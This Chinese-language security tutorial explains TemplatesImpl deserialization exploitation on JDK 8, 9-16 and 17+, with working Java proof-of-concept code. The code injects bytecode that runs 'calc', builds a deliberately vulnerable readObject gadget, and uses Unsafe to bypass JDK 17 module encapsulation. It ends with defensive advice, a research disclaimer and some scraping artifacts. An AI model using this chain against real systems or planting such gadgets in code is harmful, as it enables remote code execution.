JDK 各版本下 TemplatesImpl 反序列化漏洞利用与 JDK 17 Bypass 原理深度剖析<\/strong><\/h2>
1. 核心概念与背景<\/strong><\/h3>

TemplatesImpl 类<\/strong>：位于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl<\/code>，是 XSLT 转换功能的一部分。其 _bytecodes<\/code> 字段可用于加载字节数组，并通过内部的 defineClass()<\/code> 方法最终调用 ClassLoader.defineClass()<\/code>，从而执行任意字节码。<\/li>
利用链关键点<\/strong>：反序列化漏洞利用链通常需要一个“sink”点（触发点）来调用 TemplatesImpl<\/code> 对象的 newTransformer()<\/code> 或 getOutputProperties()<\/code> 方法，后者会间接调用 newTransformer()<\/code>，从而触发恶意类的加载和初始化。<\/li>
JDK 模块化系统 (JPMS)<\/strong>：从 JDK 9 开始引入，对内部 API 的访问进行了严格限制，这直接影响了传统利用 TemplatesImpl<\/code> 的方式。限制的严格程度随版本升级而加剧： JDK 8<\/strong>：无模块化，可自由访问。<\/li> JDK 9-16<\/strong>：宽松的强封装<\/strong>。编译时访问受限，但运行时通过反射（setAccessible(true)<\/code>）仍可绕过。<\/li> JDK 17+<\/strong>：强封装<\/strong>。默认情况下，即使使用反射，也无法访问未导出包中的类成员，除非使用特殊的 JVM 参数（--add-opens<\/code>）。<\/li> <\/ul> <\/li> <\/ul> 2. JDK 8 环境下的利用 (无限制)<\/strong><\/h3> 2.1 本地调用案例<\/strong><\/h4> import<\/span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;<\/span> <\/span><\/span>import<\/span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;<\/span> <\/span><\/span>import<\/span> javassist.ClassPool;<\/span> <\/span><\/span>import<\/span> javassist.CtClass;<\/span> <\/span><\/span>import<\/span> java.lang.reflect.Field;<\/span> <\/span><\/span> <\/span><\/span>public<\/span> class<\/span> MainJDK8<\/span> {<\/span> <\/span><\/span> public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> TemplatesImpl templatesImpl =<\/span> getTemplatesImpl();<\/span> <\/span><\/span> templatesImpl.<\/span>getOutputProperties<\/span>();<\/span> \/\/ 触发点 <\/span><\/span><\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> public<\/span> static<\/span> byte<\/span>[]<\/span> getCalcBytes<\/span>(<\/span>String className)<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> ClassPool pool =<\/span> ClassPool.<\/span>getDefault<\/span>();<\/span> <\/span><\/span> CtClass ctClass =<\/span> pool.<\/span>makeClass<\/span>(<\/span>className);<\/span> <\/span><\/span> \/\/ 关键：恶意类必须继承 AbstractTranslet <\/span><\/span><\/span><\/span> ctClass.<\/span>setSuperclass<\/span>(<\/span>pool.<\/span>get<\/span>(<\/span>"com.sun.org.apache.xal an.internal.xsltc.runtime.AbstractTranslet"<\/span>));<\/span> <\/span><\/span> \/\/ 将恶意代码放入类的静态初始化块（<clinit>） <\/span><\/span><\/span><\/span> ctClass.<\/span>makeClassInitializer<\/span>().<\/span>setBody<\/span>(<\/span>"{"<\/span> +<\/span> <\/span><\/span> "try { Runtime.getRuntime().exec(\"calc\"); } "<\/span> +<\/span> <\/span><\/span> "catch (Exception e) { throw new RuntimeException(e); }"<\/span> +<\/span> <\/span><\/span> "}"<\/span>);<\/span> <\/span><\/span> return<\/span> ctClass.<\/span>toBytecode<\/span>();<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> public<\/span> static<\/span> TemplatesImpl getTemplatesImpl<\/span>()<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> TemplatesImpl templates =<\/span> new<\/span> TemplatesImpl();<\/span> <\/span><\/span> Field bytecodes =<\/span> templates.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>"_bytecodes"<\/span>);<\/span> <\/span><\/span> Field name =<\/span> templates.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>"_name"<\/span>);<\/span> <\/span><\/span> Field tfactory =<\/span> templates.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>"_tfactory"<\/span>);<\/span> <\/span><\/span> <\/span><\/span> bytecodes.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> name.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> tfactory.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> <\/span><\/span> byte<\/span>[][]<\/span> evilBytes =<\/span> new<\/span> byte<\/span>[][]{<\/span>getCalcBytes(<\/span>"com.Evil"<\/span>)};<\/span> <\/span><\/span> bytecodes.<\/span>set<\/span>(<\/span>templates,<\/span> evilBytes);<\/span> \/\/ 注入恶意字节码 <\/span><\/span><\/span><\/span> name.<\/span>set<\/span>(<\/span>templates,<\/span> ""<\/span>);<\/span> \/\/ 名称不能为null <\/span><\/span><\/span><\/span> tfactory.<\/span>set<\/span>(<\/span>templates,<\/span> new<\/span> TransformerFactoryImpl());<\/span> \/\/ 必须设置 TransformerFactoryImpl <\/span><\/span><\/span><\/span> <\/span><\/span> return<\/span> templates;<\/span> <\/span><\/span> }<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>关键点<\/strong>：<\/p> 恶意字节码必须继承 AbstractTranslet<\/code>，否则在定义类时会抛出 ClassCastException<\/code>。<\/li> 通过反射设置 _bytecodes<\/code>, _name<\/code>, _tfactory<\/code> 字段。<\/li> 调用 getOutputProperties()<\/code> 或 newTransformer()<\/code> 来触发执行。<\/li> <\/ol> 2.2 序列化利用案例<\/strong><\/h4> 需要一个反序列化时能自动调用指定方法的“入口类”（gadget）。<\/p> \/\/ 漏洞入口类 (HoleBeanDemo.java) <\/span><\/span><\/span><\/span>import<\/span> java.io.Serializable;<\/span> <\/span><\/span>import<\/span> java.lang.reflect.InvocationTargetException;<\/span> <\/span><\/span> <\/span><\/span>public<\/span> class<\/span> HoleBeanDemo<\/span> implements<\/span> Serializable {<\/span> <\/span><\/span> private<\/span> static<\/span> final<\/span> long<\/span> serialVersionUID =<\/span> 1L<\/span>;<\/span> <\/span><\/span> public<\/span> Object obj;<\/span> <\/span><\/span> public<\/span> String methodName;<\/span> <\/span><\/span> <\/span><\/span> private<\/span> void<\/span> readObject<\/span>(<\/span>java.<\/span>io<\/span>.<\/span>ObjectInputStream<\/span> in)<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> in.<\/span>defaultReadObject<\/span>();<\/span> <\/span><\/span> \/\/ 反序列化时自动调用 obj.methodName() <\/span><\/span><\/span><\/span> obj.<\/span>getClass<\/span>().<\/span>getDeclaredMethod<\/span>(<\/span>methodName).<\/span>invoke<\/span>(<\/span>obj);<\/span> <\/span><\/span> }<\/span> <\/span><\/span>}<\/span> <\/span><\/span> <\/span><\/span>\/\/ 生成Payload并序列化 <\/span><\/span><\/span><\/span>HoleBeanDemo hole =<\/span> new<\/span> HoleBeanDemo();<\/span> <\/span><\/span>hole.<\/span>obj<\/span> =<\/span> getTemplatesImpl();<\/span> \/\/ 来自上面的方法 <\/span><\/span><\/span><\/span>hole.<\/span>methodName<\/span> =<\/span> "getOutputProperties"<\/span>;<\/span> <\/span><\/span> <\/span><\/span>\/\/ 序列化 hole 对象到文件... <\/span><\/span><\/span>\/\/ 当该文件被反序列化时，漏洞触发。 <\/span><\/span><\/span><\/code><\/pre>3. JDK 9-16 环境下的利用 (宽松的强封装)<\/strong><\/h3> 3.1 变化与挑战<\/strong><\/h4> 编译器无法直接找到 TemplatesImpl<\/code> 等类（因为它们位于未导出的 java.xml<\/code> 模块中），直接 new TemplatesImpl()<\/code> 会导致编译错误。<\/p> 3.2 绕过方法：完全反射<\/strong><\/h4> 放弃直接引用，全程使用反射来创建和操作对象。<\/p> public<\/span> class<\/span> MainJDK9<\/span> {<\/span> <\/span><\/span> public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> Object templatesImpl =<\/span> getTemplatesImpl();<\/span> <\/span><\/span> \/\/ 使用反射调用 getOutputProperties <\/span><\/span><\/span><\/span> templatesImpl.<\/span>getClass<\/span>().<\/span>getDeclaredMethod<\/span>(<\/span>"getOutputProperties"<\/span>).<\/span>invoke<\/span>(<\/span>templatesImpl);<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> public<\/span> static<\/span> Object getTemplatesImpl<\/span>()<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> \/\/ 使用 Class.forName 加载类，这不受模块化限制 <\/span><\/span><\/span><\/span> Class<?><\/span> templatesImplClass =<\/span> Class.<\/span>forName<\/span>(<\/span>"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"<\/span>);<\/span> <\/span><\/span> Object templates =<\/span> templatesImplClass.<\/span>getDeclaredConstructor<\/span>().<\/span>newInstance<\/span>();<\/span> <\/span><\/span> <\/span><\/span> Class<?><\/span> tFactoryClass =<\/span> Class.<\/span>forName<\/span>(<\/span>"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"<\/span>);<\/span> <\/span><\/span> Object tFactory =<\/span> tFactoryClass.<\/span>getDeclaredConstructor<\/span>().<\/span>newInstance<\/span>();<\/span> <\/span><\/span> <\/span><\/span> \/\/ ... 剩余反射设置字段的代码与 JDK8 版本类似 ... <\/span><\/span><\/span><\/span> \/\/ bytecodes.set(templates, evilBytes); <\/span><\/span><\/span><\/span> \/\/ name.set(templates, ""); <\/span><\/span><\/span><\/span> \/\/ tfactory.set(templates, tFactory); \/\/ 注意这里也改用反射创建的实例 <\/span><\/span><\/span><\/span> <\/span><\/span> return<\/span> templates;<\/span> <\/span><\/span> }<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>关键点<\/strong>：<\/p> Class.forName()<\/code> 不受影响<\/strong>：这是运行时动态加载，模块系统不会阻止。<\/li> setAccessible(true)<\/code> 仍然有效<\/strong>：在宽松强封装下，反射依然可以打破私有性限制。<\/li> 序列化利用仍然有效，因为反序列化底层使用 ObjectInputStream<\/code> 和 Unsafe<\/code> 来还原对象状态，不依赖于直接的代码访问，只依赖于类名是否存在。<\/li> <\/ol> 4. JDK 17+ 环境下的利用与Bypass (强封装)<\/strong><\/h3> 4.1 核心挑战<\/strong><\/h4> 在 JDK 17 中，即使使用反射，setAccessible(true)<\/code> 也无法成功<\/strong>。尝试调用该方法对来自未开放（--add-opens<\/code>）模块的字段会抛出 InaccessibleObjectException<\/code>。这直接废掉了之前的反射方法。<\/p> 4.2 Bypass 原理：修改模块关联<\/strong><\/h4> 原文中提到了一种深度技巧：利用 Unsafe<\/code> 直接修改 Class<\/code> 对象的 module<\/code> 字段<\/strong>。<\/p> 每个 Class<\/code> 对象都有一个 Module<\/code> 对象关联。模块系统的访问检查就是基于调用者类和被访问者类的模块关系。如果将被限制类的模块修改为更开放的模块（如 java.base<\/code> 模块），就有可能绕过检查。<\/p> import<\/span> sun.misc.Unsafe;<\/span> <\/span><\/span>import<\/span> java.lang.reflect.Field;<\/span> <\/span><\/span> <\/span><\/span>public<\/span> class<\/span> MainJDK17<\/span> {<\/span> <\/span><\/span> public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> \/\/ 1. 在尝试访问TemplatesImpl之前，先修改当前类的模块 <\/span><\/span><\/span><\/span> changeModuleForClass(<\/span>MainJDK17.<\/span>class<\/span>);<\/span> <\/span><\/span> <\/span><\/span> \/\/ 2. 然后再进行JDK9那样的反射操作，此时setAccessible就可能成功 <\/span><\/span><\/span><\/span> Object templatesImpl =<\/span> getTemplatesImpl();<\/span> <\/span><\/span> templatesImpl.<\/span>getClass<\/span>().<\/span>getDeclaredMethod<\/span>(<\/span>"getOutputProperties"<\/span>).<\/span>invoke<\/span>(<\/span>templatesImpl);<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> public<\/span> static<\/span> Unsafe getUnsafe<\/span>()<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> Field theUnsafe =<\/span> Unsafe.<\/span>class<\/span>.<\/span>getDeclaredField<\/span>(<\/span>"theUnsafe"<\/span>);<\/span> <\/span><\/span> theUnsafe.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> return<\/span> (<\/span>Unsafe)<\/span> theUnsafe.<\/span>get<\/span>(<\/span>null<\/span>);<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> public<\/span> static<\/span> void<\/span> changeModuleForClass<\/span>(<\/span>Class<?><\/span> clazz)<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> Unsafe unsafe =<\/span> getUnsafe();<\/span> <\/span><\/span> \/\/ 获取 Object.class 的模块（java.base 模块，非常开放） <\/span><\/span><\/span><\/span> Module targetModule =<\/span> Object.<\/span>class<\/span>.<\/span>getModule<\/span>();<\/span> <\/span><\/span> \/\/ 使用 Unsafe 直接修改 clazz 的 ‘module’ 字段 <\/span><\/span><\/span><\/span> unsafe.<\/span>putObject<\/span>(<\/span> <\/span><\/span> clazz,<\/span> <\/span><\/span> unsafe.<\/span>objectFieldOffset<\/span>(<\/span>Class.<\/span>class<\/span>.<\/span>getDeclaredField<\/span>(<\/span>"module"<\/span>)),<\/span> <\/span><\/span> targetModule <\/span><\/span> );<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> \/\/ getTemplatesImpl() 方法同 JDK9 版本 <\/span><\/span><\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>关键点<\/strong>：<\/p> Unsafe<\/code> 的威力<\/strong>：Unsafe<\/code> 提供类似 C 语言指针的操作，可以无视 Java 语言的所有访问控制规则，直接操作内存中的对象。<\/li> 修改模块关联<\/strong>：通过将当前主类的模块从“未命名模块”改为 java.base<\/code> 模块，欺骗模块系统，使其认为后续的反射操作是由 java.base<\/code> 模块发起的，从而通过了模块访问检查。<\/li> 执行流程<\/strong>：先改模块，再反射。一旦模块被修改，后续的 setAccessible<\/code> 和字段读写操作就不再受强封装的限制。<\/li> <\/ol> 4.3 序列化利用的可行性<\/strong><\/h4> 这种 Bypass 方法主要用于生成Payload的阶段<\/strong>（即攻击者构造恶意序列化数据的时候）。<\/li> 如果目标反序列化流中存在一个可利用的“入口类”（如 HoleBeanDemo<\/code>），并且该入口类在反序列化过程中能触发 TemplatesImpl.getOutputProperties()<\/code>，那么攻击依然有效<\/strong>。<\/li> 原因：反序列化过程在目标服务端进行，它只是还原了攻击者构造好的 TemplatesImpl<\/code> 对象状态（_bytecodes<\/code> 等）。只要目标环境的 JDK 中存在 TemplatesImpl<\/code> 类及其依赖类（这些类一直存在），defineClass()<\/code> 的底层机制就能正常工作，与如何生成这个对象无关。模块系统的限制作用于代码构建阶段<\/strong>，而非字节码加载执行阶段<\/strong>。<\/li> <\/ul> 5. 总结与关键点回顾<\/strong><\/h3> JDK 版本<\/th> 核心限制<\/th> 利用方法<\/th> 关键技巧<\/th> <\/tr> <\/thead> JDK 8<\/strong><\/td> 无<\/td> 直接引用 + 反射<\/td> 恶意类继承 AbstractTranslet<\/code><\/td> <\/tr> JDK 9-16<\/strong><\/td> 编译时限制<\/td> 全程反射<\/strong><\/td> Class.forName()<\/code> + setAccessible(true)<\/code><\/td> <\/tr> JDK 17+<\/strong><\/td> 运行时反射限制<\/td> Unsafe修改模块<\/strong> + 反射<\/td> Unsafe.putObject<\/code> 修改 Class.module<\/code> 字段<\/td> <\/tr> <\/tbody> <\/table> 万变不离其宗<\/strong>：无论JDK版本如何变化，TemplatesImpl<\/code> 利用的核心原理<\/strong>始终是利用其 _bytecodes<\/code> 和 defineClass()<\/code> 机制加载恶意字节码。<\/li> 模块化的影响<\/strong>：模块化系统增加的是代码构建和访问<\/strong>的难度，而不是改变底层字节码加载的可行性。<\/li> 反射是桥梁<\/strong>：在更高版本的JDK中，反射是操作内部API的唯一桥梁，但桥梁本身也被加上了锁（强封装）。<\/li> 终极武器 Unsafe<\/strong>：当所有合法路径都被封锁时，Unsafe<\/code> 这类“后门”提供了直接操作内存的底层能力，是许多高级Bypass技术的基石。<\/li> 防御视角<\/strong>：单纯升级JDK版本至17+并不能完全免疫此类攻击。关键在于应用程序本身不应反序列化不可信的流。应使用类似 ObjectInputFilter<\/code>（JEP 290）的机制对反序列化数据进行严格的白名单过滤。<\/li> <\/ol> 注<\/strong>：教学文档中提供的代码示例主要用于安全研究和理解漏洞原理，请勿用于非法用途。<\/p>

JDK 版本<\/th>	核心限制<\/th>	利用方法<\/th>	关键技巧<\/th> <\/tr> <\/thead>
JDK 8<\/strong><\/td>	无<\/td>	直接引用 + 反射<\/td>	恶意类继承 `AbstractTranslet<\/code><\/td> <\/tr>`
JDK 9-16<\/strong><\/td>	编译时限制<\/td>	全程反射<\/strong><\/td>	`Class.forName()<\/code> + setAccessible(true)<\/code><\/td> <\/tr>`
JDK 17+<\/strong><\/td>	运行时反射限制<\/td>	Unsafe修改模块<\/strong> + 反射<\/td>	Unsafe.putObject<\/code> 修改 Class.module<\/code> 字段<\/td> <\/tr> <\/tbody> <\/table> 万变不离其宗<\/strong>：无论JDK版本如何变化，TemplatesImpl<\/code> 利用的核心原理<\/strong>始终是利用其 _bytecodes<\/code> 和 defineClass()<\/code> 机制加载恶意字节码。<\/li> 模块化的影响<\/strong>：模块化系统增加的是代码构建和访问<\/strong>的难度，而不是改变底层字节码加载的可行性。<\/li> 反射是桥梁<\/strong>：在更高版本的JDK中，反射是操作内部API的唯一桥梁，但桥梁本身也被加上了锁（强封装）。<\/li> 终极武器 Unsafe<\/strong>：当所有合法路径都被封锁时，Unsafe<\/code> 这类“后门”提供了直接操作内存的底层能力，是许多高级Bypass技术的基石。<\/li> 防御视角<\/strong>：单纯升级JDK版本至17+并不能完全免疫此类攻击。关键在于应用程序本身不应反序列化不可信的流。应使用类似 ObjectInputFilter<\/code>（JEP 290）的机制对反序列化数据进行严格的白名单过滤。<\/li> <\/ol> 注<\/strong>：教学文档中提供的代码示例主要用于安全研究和理解漏洞原理，请勿用于非法用途。<\/p>